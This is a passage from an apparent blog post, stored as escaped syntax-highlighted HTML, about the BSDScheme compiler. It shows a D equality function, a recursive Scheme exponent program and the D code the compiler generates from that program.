&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;Char&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsChar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToChar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToChar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;String&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToSymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ValueTag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="no"&gt;Bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueIsBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToBool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makeBoolValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So long as my compiler generated code that used the &lt;code&gt;Value&lt;/code&gt;
object to represent Scheme data, I already had an &lt;code&gt;equals&lt;/code&gt;
function and large swaths of a Scheme standard library that I could
share between the compiler and interpreter.&lt;/p&gt;
&lt;p&gt;Ultimately I only needed to implement a few control structures to
support compiling a large subset of what I supported in the
interpreter. The key aspects here include: function definitions (in
D), function calls (D function calls), if/else (if/else in D) and so
on.&lt;/p&gt;
&lt;p&gt;To give a concrete example of a whole program compiled, this Scheme program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;exp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;exp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;exp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;when run through the BSDScheme compiler would become:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;common&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;utility&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listToVector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;equals_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;if_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;truthy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;equals_result&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;if_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minus_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exp_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minus_result&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exp_result&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;if_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;if_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;BSDScheme_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exp_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;makeIntegerValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;display_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;exp_result&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newline_result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vectorToList&lt;/span&gt;&lt;span class="p"&gt;([]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newline_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BSDScheme_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nilValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Where &lt;em&gt;every imported function had already been written for the
